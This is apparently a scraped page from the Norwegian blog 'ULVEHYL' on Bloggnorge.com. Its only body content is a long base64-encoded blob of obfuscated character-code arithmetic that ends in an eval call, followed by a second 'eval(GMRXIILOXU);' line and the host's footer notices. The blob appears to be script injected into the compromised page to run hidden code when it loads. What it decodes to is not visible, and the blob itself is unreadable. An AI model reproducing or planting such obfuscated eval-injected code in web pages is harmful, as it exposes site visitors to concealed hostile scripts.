iwgODAgLSAxLCA2OCAtIDMsIDc2IC0gNiwgOTEgLSA5LCAxMDggLSA5LCA4OCAtIDcsIDg4IC0gMiwgODAgLSA3LCA1NSAtIDQsIDEwMiAtIDQsIDczIC0gNSwgNzAgLSA0LCAxMTEgLSAxLCA4NSAtIDQsIDg3IC0gMSwgNjMgLSA2LCAxMDMgLSAxLCAxMDggLSA2LCA1NCAtIDUsIDEyMCAtIDgsIDU0IC0gMiwgOTEgLSAxLCA4NyAtIDIsIDExMSAtIDMsIDEyNSAtIDUsIDk0IC0gNCwgNzEgLSA1LCA3NiAtIDMsIDgwIC0gMiwgODEgLSA5LCA4OSAtIDUsIDU5IC0gMywgOTEgLSA5LCA2NyAtIDEsIDExMSAtIDEsIDg5IC0gNywgMTIyIC0gNywgODYgLSA0LCAxMjggLSA5LCA2OCAtIDcsIDY4IC0gNywgNDcgLSA4LCA2MyAtIDQsIDE1IC0gNSwgMTA0IC0gMiwgMTI2IC0gOSwgMTE2IC0gNiwgMTA4IC0gOSwgMTIxIC0gNSwgMTE0IC0gOSwgMTEyIC0gMSwgMTE1IC0gNSwgMzkgLSA3LCAxMjUgLSA1LCAxMTcgLSA2LCAxMjMgLSA5LCAxMDIgLSA3LCAxMDIgLSAxLCAxMTEgLSAxLCAxMDIgLSAzLCA0MSAtIDEsIDExNiAtIDEsIDExOSAtIDMsIDEyMiAtIDgsIDEwNiAtIDEsIDExOCAtIDgsIDEwOSAtIDYsIDUxIC0gNywgMzMgLSAxLCAxMDkgLSAyLCAxMDkgLSA4LCAxMjYgLSA1LCA1MCAtIDksIDM5IC0gNywgMTI3IC0gNCwgMTkgLSA5LCA0MSAtIDksIDM5IC0gNywgMTE5IC0gMSwgMTAwIC0gMywgMTE1IC0gMSwgMzggLSA2LCAxMTcgLSAzLCAxMDkgLSA4LCAxMjAgLSA1LCAzNyAtIDUsIDY4IC0gNywgMzQgLSAyLCA0MCAtIDEsIDQ0IC0gNSwgNjUgLSA2LCAxNCAtIDQsIDM5IC0gNywgMzkgLSA3LCAxMDUgLSAzLCAxMTUgLSA0LCAxMTkgLSA1LCA0MCAtIDgsIDQ2IC0gNiwgMTIzIC0gNSwgMTAyIC0gNSwgMTIwIC0gNiwgMzYgLSA0LCAxMTMgLSA4LCAzNCAtIDIsIDcwIC0gOSwgMzYgLSA0LCA1MiAtIDQsIDY1IC0gNiwgMzggLSA2LCAxMTQgLSA5LCA0MCAtIDgsIDY1IC0gNSwgMzMgLSAxLCAxMTkgLSA0LCAxMjIgLSA2LCAxMTYgLSAyLCAxMTMgLSA4LCAxMTEgLSAxLCAxMDYgLSAzLCA1MSAtIDUsIDExNyAtIDksIDEwOSAtIDgsIDExMiAtIDIsIDEwNiAtIDMsIDEyNSAtIDksIDExMiAtIDgsIDYxIC0gMiwgMzYgLSA0LCAxMTMgLSA4LCA1MSAtIDgsIDQ4IC0gNSwgNDggLSA3LCAzNiAtIDQsIDEyNCAtIDEsIDE3IC0gNywgMzQgLSAyLCAzNyAtIDUsIDM0IC0gMiwgMzQgLSAyLCAxMTUgLSAxLCAxMDYgLSA1LCAxMjAgLSA1LCA0MSAtIDksIDQ3IC0gNCwgNzAgLSA5LCAzNiAtIDQsIDkyIC0gOSwgMTE3IC0gMSwgMTE1IC0gMSwgMTA2IC0gMSwgMTEyIC0gMiwgMTExIC0gOCwgNTMgLSA3LCAxMDcgLSA1LCAxMTkgLSA1LCAxMTcgLSA2LCAxMTUgLSA2LCA3MyAtIDYsIDEwNiAtIDIsIDk5IC0gMiwgMTE4IC0gNCwgNzYgLSA5LCAxMTYgLSA1LCAxMDUgLSA1LCAxMTAgLSA5LCA0OSAtIDksIDExOCAtIDMsIDEyNSAtIDksIDEyMyAtIDksIDExMCAtIDUsIDExNiAtIDYsIDEwOSAtIDYsIDUyIC0gNiwgMTA0IC0gNSwgMTA4IC0gNCwgMTA2IC0gOSwgMTIxIC0gNywgNzIgLSA1LCAxMTUgLSA0LCAxMDQgLSA0LCAxMDUgLSA0LCA2NyAtIDIsIDEyMyAtIDcsIDQ1IC0gNSwgMTEyIC0gNywgNDQgLSAzLCAzNiAtIDQsIDEwMSAtIDcsIDE1IC0gNSwgMTggLSA5LCAxNSAtIDYsIDE2IC0gNywgMTIgLSAzLCAxMDkgLSAyLCAxMDUgLSA0LCAxMjMgLSAyLCA1MSAtIDUsIDEwNyAtIDgsIDExMiAtIDgsIDEwMSAtIDQsIDEyMSAtIDcsIDcwIC0gMywgMTIwIC0gOSwgMTA0IC0gNCwgMTA1IC0gNCwgNzIgLSA3LCAxMjMgLSA3LCA0NyAtIDcsIDEwNiAtIDEsIDM4IC0gNiwgNDAgLSAzLCAzNCAtIDIsIDExMCAtIDMsIDEwNiAtIDUsIDEyNyAtIDYsIDUzIC0gNywgMTEzIC0gNSwgMTAyIC0gMSwgMTE2IC0gNiwgMTEyIC0gOSwgMTIzIC0gNywgMTA1IC0gMSwgNDUgLSA0LCA0OSAtIDgsIDY1IC0gNiwgMTQgLSA0LCAzNCAtIDIsIDM1IC0gMywgMTI4IC0gMywgMTggLSA4LCA0MCAtIDgsIDQxIC0gOSwgMTE1IC0gMSwgMTA4IC0gNywgMTI1IC0gOSwgMTIyIC0gNSwgMTE5IC0gNSwgMTExIC0gMSwgMzcgLSA1LCAxMjIgLSA4LCAxMTAgLSA5LCAxMjIgLSA3LCA2NSAtIDYsIDExIC0gMSwgMTI2IC0gMSwgMTcgLSA3LCAxNyAtIDcsIDExOSAtIDEsIDEwNCAtIDcsIDEyMSAtIDcsIDM3IC0gNSwgMTA2IC0gNiwgMTA1IC0gNCwgMTA3IC0gOCwgMzYgLSA0LCA2NyAtIDYsIDMzIC0gMSwgMTI0IC0gNCwgMTE1IC0gNCwgMTE1IC0gMSwgMTAyIC0gNywgMTA2IC0gNSwgMTExIC0gMSwgMTA1IC0gNiwgNDggLSA4LCAxMDAgLSAzLCAxMjEgLSA1LCAxMTYgLSA1LCAxMDcgLSA5LCA0OCAtIDgsIDEwOSAtIDgsIDExNSAtIDUsIDEwNiAtIDcsIDEwNCAtIDMsIDEwMSAtIDEsIDQzIC0gMiwgNTMgLSA5LCA0MSAtIDksIDEwOCAtIDEsIDExMCAtIDksIDEyNCAtIDMsIDQ5IC0gOCwgNjAgLSAxLCAxNCAtIDQsIDQ2IC0gNiwgMTE0IC0gNCwgMTAzIC0gMiwgMTIzIC0gNCwgNDEgLSA5LCA3NiAtIDYsIDEyMiAtIDUsIDExMiAtIDIsIDEwNSAtIDYsIDEyMyAtIDcsIDEwNiAtIDEsIDExMyAtIDIsIDExNiAtIDYsIDQ2IC0gNiwgMTA0IC0gNCwgMTA0IC0gMywgMTA3IC0gOCwgNTAgLSA5LCA0NiAtIDUsIDQzIC0gMywgNDYgLSA1LCA2NSAtIDYsIDE1IC0gNSwgMTcgLSA3KTtldmFsKElQVUhUSlBSVkUpOw==’);
eval(GMRXIILOXU);

Annonser

Driftes av Bloggnorge.com - Gratis Blogg | PRO ISP - Blogg på webhotell og eget domenet | Genc Media - Webdesign og hjemmeside
Bloggen "ULVEHYL" er underlagt Lov om opphavsrett til åndsverk. Det betyr at du ikke kan kopiere tekst, bilder eller annet innhold uten tillatelse. Forfatter er selv ansvarlig for innhold. Tekniske spørmål rettes til post[att]bloggnorge[dått]com.
css.php
Driftes av Bloggnorge.com | Hjemmeside, Nettbutikk og web design fra Lykke Media AS | Server fra PRO ISP
Denne bloggen er underlagt Lov om opphavsrett til åndsverk. Det betyr at du ikke kan kopiere tekst, bilder eller annet innhold uten tillatelse fra bloggeren. Forfatter er selv ansvarlig for innhold.
Tekniske spørmål rettes til post[att]bloggnorge.[dått]com.